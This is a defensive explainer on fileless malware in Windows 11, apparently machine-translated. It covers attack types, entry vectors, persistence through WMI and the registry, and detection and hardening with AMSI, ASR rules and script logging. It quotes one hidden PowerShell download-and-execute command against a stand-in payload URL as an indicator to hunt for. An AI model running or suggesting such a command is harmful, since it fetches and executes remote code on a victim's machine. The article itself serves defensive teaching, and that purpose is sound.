El fileless malware It has become one of those headaches that keeps growing in any modern Windows environment, including Windows 11. This type of attack avoids the hard drive and relies on memory, scripts, and legitimate system binaries, so that signature-based antivirus programs have a very difficult time catching it in time.
To locate it with some reliability “Running an antivirus scan” is not enoughIt's necessary to combine rich process telemetry, behavioral analysis, memory inspection, and effective use of native Windows controls (PowerShell, WMI, registry, AMSI, ASR rules, etc.). Furthermore, it's important to understand in detail what fileless malware actually is, what variants exist, how it enters systems, how it persists, and what traces it leaves behind, even though everything occurs within RAM.
What is fileless malware and why is it so problematic in Windows 11?
When we talk about fileless malware we refer to malicious code It doesn't need to leave new, visible executables in the file system to function. It typically injects itself into existing processes and executes directly in memory, leveraging Microsoft-signed tools such as PowerShell, WMI, rundll32, mshta or VBScript/JScriptThis reduces its footprint and allows it to escape detection by engines that only analyze suspicious files on disk.
Even the Office documents, PDFs, or phishing links Files that fire commands and shellcode in memory fall under this phenomenon because the file itself provides little useful information for analysis. Something similar happens with macros and the DDE mechanism in Office: malicious code runs embedded within legitimate processes like Word or Excel, without any unusual executable file appearing on the disk.
The attackers combine social engineering and exploitsAn email with an attachment, a link to a compromised website, or an "innocent" macro can trigger a chain in which a script downloads and executes the payload in RAM, erasing traces as soon as possible. The ultimate goal can range from stealing credentials and sensitive data to deploying ransomware, conducting prolonged surveillance (APT), or moving laterally through the network undetected.
Types of fileless malware according to their footprint on the system
To avoid mixing up concepts, it is useful classify threats by the degree of interaction with the file systemThis clarifies what persists, where the code is stored, and what forensic evidence it leaves behind.
Type I: no file activity
Here we're talking about "true" fileless: the code doesn't write anything to disk. A classic example is the use of network vulnerabilities such as SMB attacks (like the EternalBlue attack) to load a backdoor into kernel memory, such as DoublePulsar. The entire attack resides in RAM, and no new files appear in the file system.
Threats that fall into this same category infect firmwares from BIOS/UEFI, network cards, disks, or even CPU subsystems. They persist through reboots and operating system reinstalls, and very few security solutions truly inspect this level. These attacks are less frequent and highly sophisticated, but their combination of stealth and persistence This makes them especially dangerous.
Type II: Indirect archiving activity
In this group, the malware doesn't leave its own executable, but uses system-managed containers that are ultimately stored on disk. For example, backdoors that store PowerShell commands or scripts within WMI repositories or the Windows Registry, and they are triggered using event filters or Run/RunOnce keys. The WMI repository and the registry reside on the disk as legitimate databases, difficult to clean without modifying the system.
From a practical point of view they are also considered fileless because the container (WMI, registry, boot sector, etc.) It's not a classic executable. And it's delicate to clean. The final effect is a subtle persistence with very little "traditional" trace.
Type III: file-dependent hybrids
Here, malicious logic lives in memory, in the registry, or in WMI, but it needs some file-based triggerA typical example is Kovter: it registers a shell verb for a rare extension, and when such a file is opened, a small script is executed which, through mshta.exe or other binaries, reconstructs the malicious payload from the Registry.
These "bait" files do not contain payloads that can be analyzed as such; the real meat is in containers like the Registration or WMIThat is why they are usually grouped under the umbrella of fileless threats, although strictly speaking they depend on one or more disk artifacts.
Input vectors and locations where the fileless fileless is hidden
To improve detection, mapping is critical. Where does the malware enter and in what processes or objects does it reside?This view helps to deploy specific controls and prioritize the telemetry that really matters.
In the field of exploits We find two main families. On the one hand, there are file-based attacks, where office documents, PDFs, executables, LNK files, or older Flash/Java content exploit the browser or application that processes them, loading shellcode into memory (a typical case of mass spam campaigns using Word with macros). On the other hand, we have network-based attacks, such as WannaCry, in which a malicious package exploits a vulnerability in a service (SMB, RDP, etc.) and achieves direct execution in userland or kernel, without ever writing a new file to disk.
There is also a vector of hardware and firmware This is not insignificant. Devices with reprogrammable firmware (hard drives, NICs, BadUSB-type USB peripherals), BIOS/UEFI, or even malicious mini-hypervisors can introduce code that runs beneath the operating system. These techniques fall squarely under Type I: persist outside the operating system and they are extremely difficult to audit and eradicate.
Regarding execution and injection, attackers abuse both "Normal" files such as scripts in memoryExecutable files (EXE/DLL/LNK) or scheduled tasks can inject legitimate processes. Even the boot sector (MBR/EFI) can be manipulated by malware families like Petya to take control from startup, bypassing the traditional file system.
To make matters worse, advanced actors (APTs like The Dukes/APT29) have demonstrated campaigns with fileless backdoors like RegDuke or POSHSPYwhich live almost entirely in memory, WMI and registry, combining different techniques to minimize traces.
Fileless attack chains: phases and signals to monitor
Although they don't leave visible executables, fileless attacks still follow a fairly recognizable sequence of phasesUnderstanding them is key to knowing which events and relationships between processes are worth monitoring.
- Phase of initial access. It typically relies on phishing with attachments or links, compromised websites, or stolen credentials. It's very common to see that the starting point is an Office document which, when active content is enabled, launches a PowerShell command with suspicious parameters (ExecutionPolicy Bypass, hidden window, download from unfamiliar domains, etc.).
- Persistence phaseThis is where WMI filters and subscriptions, Registry autorun keys (Run, RunOnce, Winlogon), Task Scheduler abuse, and boot sector modification come into play. The malware attempts to ensure that, after a reboot or logout, the malicious environment re-enters memory without needing to reintroduce new binaries.
- Phase of Lateral movement and climbingThe system's own tools (PowerShell Remoting, PsExec, WMI, RDP) allow access from one computer to another using stolen credentials. Again, all of this is done "off the books": using legitimate utilities that are already installed.
- Final phase: exfiltration and impactMalware can encrypt data (fileless ransomware), exfiltrate information to command and control (C2) servers using browsers, Bitsadmin, or PowerShell, or manipulate critical systems. Throughout the lifecycle, key indicators are hidden in command-line arguments, anomalous process trees, suspicious outbound connections, and injection API calls.
Common fileless attack techniques
The fileless umbrella encompasses many different techniques, but several are repeated time and again. Understanding them helps in planning. behavioral detection rules and effective hunting campaigns.
One of the most common is the memory-resident malwareThe attacker loads the payload into the memory space of a trusted process (for example, explorer.exe, svchost.exe, or a browser) and leaves it waiting for commands. In the case of rootkits and kernel-level hooks, the level of concealment is even greater, and many solutions that only look at user space are left blind.
Another tactic is the persistence in the Windows Registryby storing encrypted blobs or obfuscated strings that are then rehydrated using legitimate launchers such as mshta, rundll32, or wscript. The small "loader" can self-destruct immediately upon execution, so that the only significant traces remain in the registry keys and memory.
You also see a lot of the credential spoofingOnce usernames and passwords are stolen, the attacker can open remote shells, execute scripts directly in the console without writing files, and plant silent backdoors in WMI or the registry. In corporate settings, this allows for prolonged espionage campaigns with a very low detection rate if the use of administrative tools is not properly monitored.
In the most visible part, the fileless ransomware It is capable of encrypting data and communicating with its C2 infrastructure, operating almost entirely from memory. Often, the first sign that something is wrong is when the files are already encrypted, because the previous stages haven't triggered any security alerts.
Why "blocking everything" in the company doesn't work
It might seem tempting to cut to the chase and Disable PowerShell, block macros, or prohibit WMIThe problem is that you would break a good part of the daily operations: PowerShell is fundamental for modern administration, Office is the basic work tool, and WMI is at the heart of Windows system management.
Even so, many attempts to protect against fileless attacks have relied precisely on this: very rigid whitelists, unstrategic macro blocking, or simply disabling PowerShell.exe. Attackers, however, have been working on this for some time. learning to dodge those blocks: using your own copy of PowerShell, loading it via DLL with rundll32, packaging scripts inside executables, hiding code in images (steganography), or calling PowerShell through intermediary tools.
Another common mistake is relying exclusively on solutions that They decide in the cloudIf the endpoint agent has to query a remote server before stopping suspicious activity, real-time prevention suffers: you need connectivity and, in addition, you introduce a delay that in fast attacks (ransomware, wipers) can be fatal.
In practice, defense against fileless malware requires a combination of Rich local telemetry, behavioral detection engines on the endpoint itself And, as an added layer, cloud analytics to enrich, correlate, and improve intelligence. But the decision to stop a process or revert changes must be able to be made locally, even offline.
How to detect fileless malware in Windows 11: telemetry and behavior
The winning strategy involves monitor processes, memory and behaviornot just files. Malicious patterns are much more stable than variants of the same malware, so a behavior-based approach works best against new or obfuscated threats.
In the Microsoft ecosystem, the Antimalware Scan Interface (AMSI) It's a key component. It allows you to intercept scripts in PowerShell, VBScript, or JScript (and other supported languages) even when they are dynamically constructed in memory. Before execution, the script's contents are sent to the antimalware engine registered by AMSI, making it easier to detect suspicious strings, crude obfuscation, and typical malware behavior.
Furthermore, it is essential to have a detailed process monitoringStart and end points, PID, parent and child processes, executable path, hashes, complete process tree, and, very importantly, complete command lines. Many indicators of an attack are hidden behind flags and arguments. Commands like powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden (New-Object Net.WebClient).DownloadString('http://dominiotld/payload') They shouldn't go unnoticed in a somewhat mature environment.
La memory inspection This is another key element. It's essential to be able to identify reflected PE payloads, memory regions marked as executable in processes that shouldn't normally have them, and typical injection patterns (WriteProcessMemory, CreateRemoteThread, etc.). Modern solutions like EDR/Managed EDR (EMDR) and products such as Microsoft Defender for Endpoint or platforms like SentinelOne monitor these operations at the kernel level to separate malicious activity from legitimate activity.
All of this is complemented by specific controls such as the MBR/EFI protection to detect and reverse boot sector manipulations, and with the ability to capture memory buffers associated with suspicious executions so that response teams can generate new signatures or rules of behavior.
Practical steps in Windows 11
Beyond having a powerful EDR solution, Windows 11 offers very useful native controls to make things difficult for fileless malware and, incidentally, improve visibility for threat hunting tasks.
Prevention
In PowerShell, it's advisable to enable Script Block Logging and Module LoggingApply restricted modes where feasible and monitor the use of ExecutionPolicy Bypass and hidden windows. This provides a history of executed scripts, even if they were dynamically generated, and is invaluable for detecting post-exploits with PowerShell.
Attack Surface Reduction (ASR) Rules They allow blocking Office from creating processes that target PowerShell, cmd, mshta, or other high-risk components, as well as preventing the misuse of WMI or PsExec when these are not needed. When properly configured, they drastically reduce the fileless attack surface in office environments without disrupting business operations.
On the Office front, it's important harden the macrosThe goal is to disable them by default, allow only internally signed macros, use strict trust lists, and review legacy DDE-based workflows. The aim is to ensure that opening a document received by email doesn't grant carte blanche to execute anything on the system.
For the persistence aspect, it is essential Audit WMI, the Registry, and scheduled tasksEvent subscriptions need to be monitored. root\Subscription, classes like __EventFilter, CommandLineEventConsumer y __FilterToConsumerBindingas well as Run/RunOnce keys and new tasks that invoke suspicious scripts or binaries. Tools like Sysmon are very helpful in generating rich events; in large environments, it makes sense to rely on an EDR and a good SIEM.
As always, the patching and hardening Security for the operating system, browsers, Office, and network services is a basic line of defense. Many fileless intrusions begin by exploiting known vulnerabilities that could have been patched with routine updates.
Hunting
It makes sense to focus searches on anomalous execution patternsOffice processes launching PowerShell or mshta, command lines with downloadstring/downloadfile, scripts with clear obfuscation, reflex injections, and outbound connections to suspicious domains or unusual TLDs. Cross-referencing all of this with reputation and frequency information can reduce noise and uncover discreet campaigns.
Finally, one should not forget the awareness of users and technical teamsTeaching users how to identify phishing emails, dangerous attachments, suspicious links, or strange computer behavior (windows closing on their own, fleeting console processes) remains a very cost-effective barrier against massive fileless campaigns.
The reality is that fileless malware is no longer a rarity but a common technique in targeted attacks and massive campaigns that abuse scripts. Focusing on the process behavior, memory usage, and the origins of each executionLeveraging AMSI, high-quality telemetry, Windows 11 controls, and EDR platforms with behavioral analysis, and complementing all of this with realistic policies for macros, PowerShell, and WMI, puts any organization in a much better position to detect and break these chains before they cause a disaster.